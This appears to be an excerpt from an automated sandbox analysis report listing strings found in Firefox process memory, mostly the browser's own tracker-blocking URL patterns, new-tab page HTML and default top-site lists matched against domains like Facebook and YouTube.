"://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8858000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "*:
Source: firefox.exe, 00000020.00000002.2970521081.00000253E7E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000020.00000002.2970521081.00000253E7E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E94A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E87EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3213102159.00000253EBB2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E94A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3278500608.00000253EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3278500608.00000253EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3278500608.00000253EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webcompat@mozilla.org.412316860420://cdn.branch.io/branch-latest.min.js"https://smartblock.firefox.etp/play.svg"webcompat@mozilla.org.412316860420://c.amazon-adsystem.com/aax2/apstag.js["://trends.google.com/trends/embed"]://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.jswebcompat@mozilla.org.412316860420https://smartblock.firefox.etp/play.svg"://trends.google.com/trends/embed""://trends.google.com/trends/embed"://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat_video.js://trends.google.com/trends/embedwebcompat@mozilla.org.412316860420://pub.doubleverify.com/signals/pub.js*://static.criteo.net/js/ld/publishertag.js://www.everestjs.net/static/st.v3.js*://.imgur.com/js/vendor..bundle.js["://trends.google.com/trends/embed"]https://smartblock.firefox.etp/facebook.svg://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.jswebcompat@mozilla.org.412316860420